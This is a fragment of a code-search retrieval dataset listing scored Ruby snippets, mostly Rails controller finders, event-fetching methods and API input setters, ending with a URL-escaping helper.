"title": "" }, { "docid": "e879e3aea7a4b346aab073ecaab846d6", "score": "0.56931555", "text": "def list(type)\n get(resource_path_for_entity_type(type) + \"?rows=all\")\n end", "title": "" }, { "docid": "de6fadaba229ba45a32cb603cac02449", "score": "0.56921005", "text": "def events(options = {})\n @events ||= {}\n @events[options.to_s] ||= post('facebook.events.get', options) do |response|\n response.map do |hash|\n Event.from_hash(hash)\n end\n end\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "9adf3a9d00cdbde7f1c359e67d4c5883", "score": "0.5684408", "text": "def index\n @events = Event.all\n end", "title": "" }, { "docid": "b0c6616c2ca690ee6315908a534beda4", "score": "0.5682994", "text": "def index\n @evaluation_account_events = EvaluationAccountEvent.all\n end", "title": "" }, { "docid": "487d855b7ca72cb5e28c53a20df04d0f", "score": "0.5681923", "text": "def events(criteria: {}, tenants: nil)\n query = generate_query_params(criteria)\n uri = tenants ? '/admin/events' : '/events'\n http_get(uri + query, multi_tenants_header(tenants)).map { |e| Event.new(e) }\n end", "title": "" }, { "docid": "8ea5dedfad4dfdfee3995e50e81d52e9", "score": "0.5681344", "text": "def index\n @client_events = ClientEvent.all\n end", "title": "" }, { "docid": "e6c3c7423a2a916acee1c1fce371d6e9", "score": "0.5647489", "text": "def load_events\n\t\t\t\treturn @data['events'].map do |eventstr, eventdata|\n\t\t\t\t\tevent = eventstr.to_sym\n\t\t\t\t\tif (Events.constants.include? event)\n\t\t\t\t\t\tnext [event, Events.const_get(event).new(eventdata)]\n\t\t\t\t\telse\n\t\t\t\t\t\t## Event doesn't exist, display warning\n\t\t\t\t\t\tinstance_type = get_instance_type_classname\n\t\t\t\t\t\tclassname = get_classname\n\t\t\t\t\t\tlog \"WARNING: #{instance_type} '#{classname}' tried to load Event '#{eventstr}' which doesn't exist.\"\n\t\t\t\t\t\tnext nil\n\t\t\t\t\tend\n\t\t\t\tend .reject { |x| !x } .to_h if (@data['events'])\n\t\t\tend", "title": "" }, { "docid": "a5ef5a3432e658104146574b52643735", "score": "0.5644444", "text": "def events(type: nil)\n name = @resource.dig_fetch(:metadata, :name)\n namespace = @resource.dig(:metadata, :namespace)\n selector = [\n \"involvedObject.name=#{name}\",\n \"involvedObject.kind=#{@kind}\",\n ]\n selector << \"involvedObject.uid=#{@pod.uid}\" if @pod\n selector << \"type=#{type}\" if type\n SamsonKubernetes.retry_on_connection_errors do\n events = @client.get_events(\n namespace: namespace,\n field_selector: selector.join(\",\")\n ).fetch(:items)\n\n # ignore events from before the deploy, comparing strings for speed\n events.select! { |e| last_timestamp(e) >= @start }\n\n # https://github.com/kubernetes/kubernetes/issues/29838\n events.sort_by! { |e| last_timestamp(e) }\n\n events\n end\n rescue *SamsonKubernetes.connection_errors => e\n # similar to kubernetes/resource.rb error handling\n error_location = \"#{name} #{namespace} #{@deploy_group.name}\"\n raise Samson::Hooks::UserError, \"Kubernetes error #{error_location}: #{e.message}\"\n end", "title": "" }, { "docid": "64993e34378a276f8adcb75e4c244500", "score": "0.5644239", "text": "def get_events()\n @client.make_request(:get, @client.concat_user_path(\"#{CALL_PATH}/#{id}/events\"))[0]\n end", "title": "" }, { "docid": "b3025b611ed2ac52b57f9131610eacbc", "score": "0.56437176", "text": "def select_for_event\n \n \t@eventtypes = Eventtype.find(:all, :conditions => [ 'LOWER(description) LIKE ?', '%' + params[:q].downcase + '%' ], :order => 'description ASC', :limit => 8)\n \n \t@eventtypes_hash = @eventtypes.collect! { |x| {\"name\" => x.description, \"id\" => x.id } }\n \n render :partial => \"eventtypes/list_for_select\" \n end", "title": "" }, { "docid": "556857b3281d612764bb68468a247786", "score": "0.5642064", "text": "def events(type = 'resource', action = 'created')\n tenant_id = get_tenant\n url = \"#{entrypoint.gsub(/https?/, 'ws')}/ws/events?tenantId=#{tenant_id}&type=#{type}&action=#{action}\"\n @ws = WebSocket::Client::Simple.connect url do |client|\n client.on :message do |msg|\n parsed_message = JSON.parse(msg.data)\n entity = case type\n when 'resource'\n Resource.new(parsed_message)\n when 'resourcetype'\n ResourceType.new(parsed_message)\n when 'metric'\n Metric.new(parsed_message)\n when 'metrictype'\n MetricType.new(parsed_message)\n else\n BaseEntity.new(parsed_message)\n end\n yield entity\n end\n end\n end", "title": "" }, { "docid": "c960a5d6a96f219c0069053235cc4fe8", "score": "0.56386316", "text": "def index\n @events = eager_event.all\n end", "title": "" }, { "docid": "2129e1e026a639f3165589b877322fed", "score": "0.5633085", "text": "def all_events\n @events = Event.all\n end", "title": "" }, { "docid": "afcc16aeb5231c628466106dadff7854", "score": "0.5619246", "text": "def get_events\n response = request(:get, \"/devmgr/v2/events\")\n #status(response, 200, 'Failed to get current events from server')\n #JSON.parse(response.body)\n response\n end", "title": "" }, { "docid": "277097604b842f7074080e7f557c9efc", "score": "0.56174666", "text": "def event_actions(options = {})\n make_json_api_request :get, \"v2/#{account_id}/event_actions\", options\n end", "title": "" } ]
142a53758ffab7a5299ec1ee8b36b00f
Set the value of the RailTraction input for this Choreo.
[ { "docid": "97383621a1d2896b3ffa020ec187e908", "score": "0.71728873", "text": "def set_RailTraction(value)\n set_input(\"RailTraction\", value)\n end", "title": "" } ]
[ { "docid": "6241a584010f9d73b554b1a87d31cca4", "score": "0.47774166", "text": "def set_RailClass(value)\n set_input(\"RailClass\", value)\n end", "title": "" }, { "docid": "9ceb15de5eb96566a787d45e66930362", "score": "0.4599956", "text": "def set_Retirement(value)\n set_input(\"Retirement\", value)\n end", "title": "" }, { "docid": "9ceb15de5eb96566a787d45e66930362", "score": "0.4599956", "text": "def set_Retirement(value)\n set_input(\"Retirement\", value)\n end", "title": "" }, { "docid": "9ceb15de5eb96566a787d45e66930362", "score": "0.4599956", "text": "def set_Retirement(value)\n set_input(\"Retirement\", value)\n end", "title": "" }, { "docid": "245a3b55cef2540600787d59ac216053", "score": "0.4595162", "text": "def set_racer\n @racer = Racer.find(params[:id])\n end", "title": "" }, { "docid": "b7c9d52bd0263324d1cd311c608a43c9", "score": "0.45701942", "text": "def set_competency_raiting\n @competency_raiting = CompetencyRaiting.find(params[:id])\n end", "title": "" }, { "docid": "9258d249486a27101045159ca7d5c047", "score": "0.45308292", "text": "def set_Resend(value)\n set_input(\"Resend\", value)\n end", "title": "" }, { "docid": "e97dc5a5cfe18336f2e1169453f377ad", "score": "0.4517051", "text": "def set_racer\n\t # @racer = Racer.find(params[:id])\n\t end", "title": "" }, { "docid": "0250fc14cc9480718a4a00cdb63550d3", "score": "0.44751835", "text": "def tenure=(tenure)\n validator = EnumAttributeValidator.new('String', [\"Other\", \"Freehold\", \"Leasehold\"])\n unless validator.valid?(tenure)\n fail ArgumentError, \"invalid value for 'tenure', must be one of #{validator.allowable_values}.\"\n end\n @tenure = tenure\n end", "title": "" }, { "docid": "8164a567d04a2ecd4d458b432b5a272b", "score": "0.44727466", "text": "def set_racer\n\t #@racer = Racer.find(params[:id])\n\t end", "title": "" }, { "docid": "bcafbf71a0b65a688a5783034c571b48", "score": "0.4338003", "text": "def set_trail_user\n @trail_user = TrailUser.find(params[:id])\n end", "title": "" }, { "docid": "d06ba813a45f1e7b3e21e0cbf67f6a62", "score": "0.43084684", "text": "def set_RailCompany(value)\n set_input(\"RailCompany\", value)\n end", "title": "" }, { "docid": "4e2fe98a9f22a74e302125eba6ed5a7a", "score": "0.42038745", "text": "def set_tour_review\n @tour_review = TourReview.find(params[:id])\n end", "title": "" }, { "docid": "6f6485a62842d81cefb88f0dce45f0ef", "score": "0.41821375", "text": "def set_salvagable(salvage_to_digit)\n @salvage_to = salvage_to_digit\n @salvagable = true\n end", "title": "" }, { "docid": "3bc35f8b66b038bb2cf97ce429052a6d", "score": "0.4181197", "text": "def set_retail\n @retail = Retail.find(params[:id])\n # @categories = RetailCategory.find(:all)\n end", "title": "" }, { "docid": "e27091d0a64b9fb8d942005a040ac701", "score": "0.4173372", "text": "def set_recept\n @recept = Recept.find(params[:id])\n end", "title": "" }, { "docid": "23c35a20f2fd63ab76c99d5c0302edcb", "score": "0.41659576", "text": "def set_rental_rate\n @rental_rate = RentalRate.find(params[:id])\n end", "title": "" }, { "docid": "15a82748b4b95e777a76d09049a8f6b5", "score": "0.41488928", "text": "def set_trail\n @trail = Trail.find(params[:id])\n end", "title": "" }, { "docid": "15a82748b4b95e777a76d09049a8f6b5", "score": "0.41488928", "text": "def set_trail\n @trail = Trail.find(params[:id])\n end", "title": "" }, { "docid": "15a82748b4b95e777a76d09049a8f6b5", "score": "0.41488928", "text": "def set_trail\n @trail = Trail.find(params[:id])\n end", "title": "" }, { "docid": "15a82748b4b95e777a76d09049a8f6b5", "score": "0.41488928", "text": "def set_trail\n @trail = Trail.find(params[:id])\n end", "title": "" }, { "docid": "15a82748b4b95e777a76d09049a8f6b5", "score": "0.41488928", "text": "def set_trail\n @trail = Trail.find(params[:id])\n end", "title": "" }, { "docid": "93e8f47b40c4e1f43c8b0e507666013f", "score": "0.41363376", "text": "def set_rumour\n @rumour = Rumour.find(params[:id])\n end", "title": "" }, { "docid": "643707b1f1d1c0c6431f765eebc3bdde", "score": "0.41286653", "text": "def set_railway\n @railway = Railway.find(params[:id])\n end", "title": "" }, { "docid": "061ab117a030a3cdf5e785a1111c2f09", "score": "0.4122767", "text": "def set_racer\n @racer = Racer.find(params[:id])\n\t\t\t@race = @racer.race_id\n end", "title": "" }, { "docid": "283b30d0b942dfd9e1bb0d242026a6f8", "score": "0.41157204", "text": "def set_trail\n @trail = Trail.find(params[:id])\n end", "title": "" }, { "docid": "e99c34df4a7dcaab0172a3c91b27f0b3", "score": "0.41064423", "text": "def set_rail_company\n @rail_company = RailCompany.find(params[:id])\n end", "title": "" }, { "docid": "41ef9f4235932873b22ee5938e0d0cf9", "score": "0.41058645", "text": "def set_ResidentialClass(value)\n set_input(\"ResidentialClass\", value)\n end", "title": "" }, { "docid": "5182e7b72752f61f610ad2ca422ba744", "score": "0.40990505", "text": "def set_retailer\n @retailer = Retailer.find(params[:id])\n end", "title": "" }, { "docid": "d117efcda9be979953c4c3c3309a0a9d", "score": "0.40982178", "text": "def set_rental_request\n @rental_request = RentalRequest.find(params[:id])\n end", "title": "" }, { "docid": "ce4cccea7781005a7f9008bab49fc31a", "score": "0.40954787", "text": "def set_ride_level\n @ride_level = RideLevel.find(params[:id])\n end", "title": "" }, { "docid": "8f487b2beb3fc81c20b32e39afeee46f", "score": "0.40867656", "text": "def set_ruler\n @ruler = Ruler.find(params[:id])\n authorize @ruler\n end", "title": "" }, { "docid": "c258c6fb0469e34901be243d1e03c86a", "score": "0.40795377", "text": "def recurrency= recurrency\n @recurrency = recurrency\n\n return if recurrence.present?\n return if recurrency.blank?\n\n self.recurrence = OutingRecurrence.new(recurrency: recurrency, continue: true)\n self.recurrency_identifier = self.recurrence.identifier\n end", "title": "" }, { "docid": "2e43bfacf35975d74b3b922916e81870", "score": "0.40752587", "text": "def race=(r)\n if not r.allows_32pt\n # It's an 28 point build.\n @attributes.maxbuypoints = 28\n end\n # Copy over the base attributes from the race.\n @attributes.base = r.base_attributes \n # Clear out level 1 feats gained, and copy the new ones over.\n if not @race == nil\n @race.feats_gained.each { |f|\n @levels[0].feats_gained.delete f\n }\n end\n @levels[0].feats_gained.concat r.feats_gained\n \n # Special setter.\n @race = r\n end", "title": "" }, { "docid": "0851ff050a971e54e44dae46d200a9ef", "score": "0.40631965", "text": "def set_railcar\n @railcar = Railcar.find(params[:id])\n end", "title": "" }, { "docid": "4a78f0129e5914d5ae3687c94cc14d36", "score": "0.40546232", "text": "def set_roll_call\n @roll_call = RollCall.find(params[:id])\n end", "title": "" }, { "docid": "4a78f0129e5914d5ae3687c94cc14d36", "score": "0.40546232", "text": "def set_roll_call\n @roll_call = RollCall.find(params[:id])\n end", "title": "" }, { "docid": "dbf461f5565873e5394489ad19e70dca", "score": "0.40513617", "text": "def set_recept_type\n @recept_type = ReceptType.find(params[:id])\n end", "title": "" }, { "docid": "1ae5c01a54c793cc2406888f08a6e644", "score": "0.40463442", "text": "def set_rapport\n @rapport = Rapport.find(params[:id])\n end", "title": "" }, { "docid": "eb2f80cf57e9b5e749ea023a2048c232", "score": "0.40427858", "text": "def race= (races)\n write_attribute(:race, races - [\"\"])\n end", "title": "" }, { "docid": "235bf8e87eb7aae305112538bf9a461b", "score": "0.4033906", "text": "def set_flight_turbulence\n @flight_turbulence = FlightTurbulence.find(params[:id])\n end", "title": "" }, { "docid": "0d26fd70fa65a3bc700625f05edebaf2", "score": "0.40308776", "text": "def settle\n raise PreconditionsError, 'Transaction id is required' if transaction_id.nil? or transaction_id.empty?\n raise PreconditionsError, \"Payment should be reserved\" unless payment.reserved?\n r_amount = Remit::RequestTypes::Amount.new ({value: payment.amount, currency_code: 'USD'})\n request = Remit::Settle::Request.new ({\n reserve_transaction_id: transaction_id,\n transaction_amount: r_amount\n })\n response = remit.settle request\n\n raise ApiInteractionError, response.errors.join('; ') unless response.errors.empty?\n\n payment.update_attribute :state, :settled\n end", "title": "" }, { "docid": "aacc3f069f60342a50d367108034a83e", "score": "0.40281436", "text": "def set_receptionist\n hospital = Hospital.find(params[:hospital_id])\n @receptionist = hospital.receptionists.find(params[:id])\n @ward = hospital.wards\n end", "title": "" }, { "docid": "6d71aeea2c9f071e471a4efd57398238", "score": "0.40259662", "text": "def set_teamrider\n @teamrider = Teamrider.find(params[:id])\n end", "title": "" }, { "docid": "5a0a8dd17aef4b43f6fb55cdb215d8bf", "score": "0.40196592", "text": "def set_rent\n @rent = Rent.find(params[:id])\n end", "title": "" }, { "docid": "5a0a8dd17aef4b43f6fb55cdb215d8bf", "score": "0.40196592", "text": "def set_rent\n @rent = Rent.find(params[:id])\n end", "title": "" }, { "docid": "5a0a8dd17aef4b43f6fb55cdb215d8bf", "score": "0.40196592", "text": "def set_rent\n @rent = Rent.find(params[:id])\n end", "title": "" }, { "docid": "5a0a8dd17aef4b43f6fb55cdb215d8bf", "score": "0.40196592", "text": "def set_rent\n @rent = Rent.find(params[:id])\n end", "title": "" }, { "docid": "95b19583909790066ff34f5e5e78215f", "score": "0.40088376", "text": "def set_renting_phase\n @renting_phase = RentingPhase.find(params[:id])\n end", "title": "" }, { "docid": "e0463ab6b271e66bd4f10b4960d45844", "score": "0.39958355", "text": "def set_remittent\n if @remittent = Remittent.find(params[:id])\n else \n record_not_found(error)\n end\n end", "title": "" }, { "docid": "153dc95be7be46a6972737254615f5fb", "score": "0.39949358", "text": "def set_lecture_rule\n @lecture_rule = LectureRule.find(params[:id])\n end", "title": "" }, { "docid": "82c1f15ca28f7f050afff7ff3a0995ec", "score": "0.39839298", "text": "def set_rider\n @rider = Rider.find(params[:id])\n end", "title": "" }, { "docid": "82c1f15ca28f7f050afff7ff3a0995ec", "score": "0.39839298", "text": "def set_rider\n @rider = Rider.find(params[:id])\n end", "title": "" }, { "docid": "9a94724e617d6c8db75583d69882df2a", "score": "0.39662027", "text": "def setR(r)\r\n @r = r\r\n end", "title": "" }, { "docid": "d5109573afa7e4b37ceff4a9b6f0761b", "score": "0.39608696", "text": "def set_tourney\n @tourney = Tourney.find(params[:id])\n end", "title": "" }, { "docid": "a0027a42ab17735ba26a4e75b87f4f19", "score": "0.3954047", "text": "def timing=(timing)\n validator = EnumAttributeValidator.new('String', [\"immediate\", \"renewal\"])\n unless validator.valid?(timing)\n fail ArgumentError, \"invalid value for 'timing', must be one of #{validator.allowable_values}.\"\n end\n @timing = timing\n end", "title": "" }, { "docid": "d622166cf47a162a19964bb9387bfc46", "score": "0.39490896", "text": "def set_ruts_user\n @ruts_user = RutsUser.find(params[:id])\n end", "title": "" }, { "docid": "62102676e1e8517fb02e82485cb597c4", "score": "0.39457494", "text": "def update!(**args)\n @racy_level = args[:racy_level] if args.key?(:racy_level)\n end", "title": "" }, { "docid": "d744ebcd7b66d067483a1777010a5b8a", "score": "0.39409602", "text": "def set_raking\n @raking = RakingExam.find(params[:id])\n end", "title": "" }, { "docid": "9e5471a1e81f7f0b0d3bfeb63c45dda5", "score": "0.39272705", "text": "def recurrence=(value)\n @recurrence = value\n end", "title": "" }, { "docid": "9e5471a1e81f7f0b0d3bfeb63c45dda5", "score": "0.39272705", "text": "def recurrence=(value)\n @recurrence = value\n end", "title": "" }, { "docid": "a00fb219a91c82f556bdf28099ec4234", "score": "0.39063424", "text": "def tradecraft=(value)\n @tradecraft = value\n end", "title": "" }, { "docid": "79c1452d76577fe55804b616040fb46b", "score": "0.39022076", "text": "def set_tourney_set\n @tourney_set = TourneySet.find(params[:id])\n end", "title": "" }, { "docid": "c31553e46010d85fe78d4932a8803e1e", "score": "0.38956586", "text": "def set_rute\n @rute = Rute.find(params[:id])\n end", "title": "" }, { "docid": "cc4b9e77c67c6a14ecb371b7a1f6fd85", "score": "0.38869163", "text": "def set_rental\n @rental = Rental.find(params[:id])\n end", "title": "" }, { "docid": "cc4b9e77c67c6a14ecb371b7a1f6fd85", "score": "0.38869163", "text": "def set_rental\n @rental = Rental.find(params[:id])\n end", "title": "" }, { "docid": "cc4b9e77c67c6a14ecb371b7a1f6fd85", "score": "0.38869163", "text": "def set_rental\n @rental = Rental.find(params[:id])\n end", "title": "" }, { "docid": "cc4b9e77c67c6a14ecb371b7a1f6fd85", "score": "0.38869163", "text": "def set_rental\n @rental = Rental.find(params[:id])\n end", "title": "" }, { "docid": "cc4b9e77c67c6a14ecb371b7a1f6fd85", "score": "0.38869163", "text": "def set_rental\n @rental = Rental.find(params[:id])\n end", "title": "" }, { "docid": "cc4b9e77c67c6a14ecb371b7a1f6fd85", "score": "0.38869163", "text": "def set_rental\n @rental = Rental.find(params[:id])\n end", "title": "" }, { "docid": "cc4b9e77c67c6a14ecb371b7a1f6fd85", "score": "0.38869163", "text": "def set_rental\n @rental = Rental.find(params[:id])\n end", "title": "" }, { "docid": "f197d2c8b98c2814a985690fb9a0236c", "score": "0.38861662", "text": "def set_rentable\n @rentable = Rentable.find(params[:id])\n end", "title": "" }, { "docid": "93e6b7b610b478231caf0da0b1a83f6e", "score": "0.38753855", "text": "def enable_rto_failure\n ENV['RTO_FAILURE'] ||= 'true'\n end", "title": "" }, { "docid": "169aee3df9b6b325838fc1121ee0ffb9", "score": "0.38737196", "text": "def set_range_troop_number\n @range_troop_number = RangeTroopNumber.find(params[:id])\n end", "title": "" }, { "docid": "4a066e1836fdb2da6556979204cd1d29", "score": "0.38705197", "text": "def set_shuttle_run\n @shuttle_run = ShuttleRun.find(params[:id])\n end", "title": "" }, { "docid": "17803c7157a0b170ea976e508b0dfd17", "score": "0.38701186", "text": "def set_rent\n @rent = Rent.find_by_id(params[:id]) || Rent.find_by_token(params[:id])\n end", "title": "" }, { "docid": "b7c071a894ff0a459b9222d5b0ec4acf", "score": "0.3866376", "text": "def save_retailer_tax_rates\n return unless params[:retailer]\n return unless @retailer.respond_to?(:tax_rates)\n @retailer.tax_rates.delete_all\n params[:retailer][:tax_rate] ||= {}\n TaxRate.all.each { |tax_rate|\n @retailer.tax_rates << tax_rate unless params[:retailer][:tax_rate][tax_rate.id.to_s].blank?\n }\n params[:retailer].delete(:tax_rate)\n end", "title": "" }, { "docid": "2535d233ada6cab05363ef20cace943b", "score": "0.3863752", "text": "def set_recruiter\n @recruiter = Recruiter.find(params[:id])\n end", "title": "" }, { "docid": "2535d233ada6cab05363ef20cace943b", "score": "0.3863752", "text": "def set_recruiter\n @recruiter = Recruiter.find(params[:id])\n end", "title": "" }, { "docid": "6c65754e79227e84a1c17746629fdae4", "score": "0.38572434", "text": "def set_rehearsal_call\n @rehearsal_call = RehearsalCall.find(params[:id])\n end", "title": "" }, { "docid": "ef05acd77f03d697a182e4b5ae27a68a", "score": "0.3851791", "text": "def set_active_rental\n @rental = Rental.find_by(customer_id: rental_params[:customer_id], video_id: rental_params[:video_id], returned_on: nil)\n end", "title": "" }, { "docid": "55b1970dd82111c002b5858c64351121", "score": "0.385144", "text": "def set_cruise_line\n @cruise_line = CruiseLine.find(params[:id])\n end", "title": "" }, { "docid": "cfe887511c8a9b9ecbf8a8a2aced06f0", "score": "0.38502255", "text": "def set_troll\n @troll = Troll.find(params[:id])\n end", "title": "" }, { "docid": "4a8909cbdc4dde20624d46e5112e4c6a", "score": "0.38415453", "text": "def rut=(value)\n value = Chilean::Rutify.format_rut(value) if rut_format == :classic\n value = Chilean::Rutify.normalize_rut(value) if rut_format == :normalized\n super(value)\n end", "title": "" }, { "docid": "5d5c6e443816cfaa65d14b3e469c5709", "score": "0.38322058", "text": "def set_tr_rfq_submission\n @tr_rfq_submission = TrRfqSubmission.find(params[:id])\n end", "title": "" }, { "docid": "1cf6f3f90450c9c77ab0ffbfadc0228c", "score": "0.38304514", "text": "def set_Residents(value)\n set_input(\"Residents\", value)\n end", "title": "" }, { "docid": "c5638fe0c1b6368634faa5cd81e09fa9", "score": "0.38297272", "text": "def remediation=(value)\n @remediation = value\n end", "title": "" }, { "docid": "42c5c1909523a22453db24f6ced0f1f8", "score": "0.38276935", "text": "def set_raport\n @raport = Raport.find(params[:id])\n end", "title": "" }, { "docid": "99b85102da576f26f9128773df070c7f", "score": "0.38249254", "text": "def set_recitator\n @recitator = Recitator.find(params[:id])\n end", "title": "" }, { "docid": "edfd73610b2696afbe93ff9ba849e786", "score": "0.38240495", "text": "def set_rental_plan\n @rental_plan = RentalPlan.find(params[:id])\n end", "title": "" }, { "docid": "55818259416abf766240d7998cedc58d", "score": "0.3823115", "text": "def set_titration_level(visit,titration)\n index = get_element_index(visit_names, visit)\n titration_levels[index].select titration\n save.click\n end", "title": "" }, { "docid": "1f1157c03116259ee223ca5aac88c48f", "score": "0.38224056", "text": "def set_retire\n @retire = Retire.find(params[:id])\n end", "title": "" }, { "docid": "4a04ff22e58912dd13f3b729c3f61635", "score": "0.38189548", "text": "def set_raincheck\n @raincheck = Raincheck.find(params[:id])\n end", "title": "" }, { "docid": "bc459a0145cc844c71c6e0a9cbedec1b", "score": "0.3815572", "text": "def set_Threshold(value)\n set_input(\"Threshold\", value)\n end", "title": "" }, { "docid": "fff214de6c4d89ccffa1cda25f942b79", "score": "0.38078168", "text": "def set_luxury_coffee\n @luxury_coffee = LuxuryCoffee.find(params[:id])\n end", "title": "" }, { "docid": "60430693d2a9bc694bdae0f41ff0f7da", "score": "0.37945762", "text": "def set_rental\n @rental = Rental.find(params[:rental_id])\n end", "title": "" }, { "docid": "dc0ece48134e339063d3c57d625bf9cd", "score": "0.37932682", "text": "def set_rescate\n @rescate = Rescate.find(params[:id])\n end", "title": "" }, { "docid": "8352a657e12aafbe4a9b754eb8e064f2", "score": "0.37903035", "text": "def set_kristine_toy\n @kristine_toy = KristineToy.find(params[:id])\n end", "title": "" }, { "docid": "eae497e731843a970ccf5dd3e66e4144", "score": "0.37867376", "text": "def set_rental\n @rental = Rental.get_by_id(params[:id])\n end", "title": "" }, { "docid": "08fe8749131e363eb9dc1a0ea1952d4a", "score": "0.3782576", "text": "def set_trucker\n @trucker = Trucker.find(params[:id])\n end", "title": "" } ]
ab58cf3f5d9e8adb54bce6d31565de15
Fully URLencode (including transforming '.' to '%2E') without escaping a string which is already escaped.
[ { "docid": "65232703338fd3c107e9d843beeeef84", "score": "0.78461266", "text": "def url_escape(s)\n s = s.to_s\n s = s.match?(/%[0-9a-fA-F]{2}/) ? s.tr(' ', '+') : CGI.escape(s)\n s.gsub('.', '%2E')\n end", "title": "" } ]
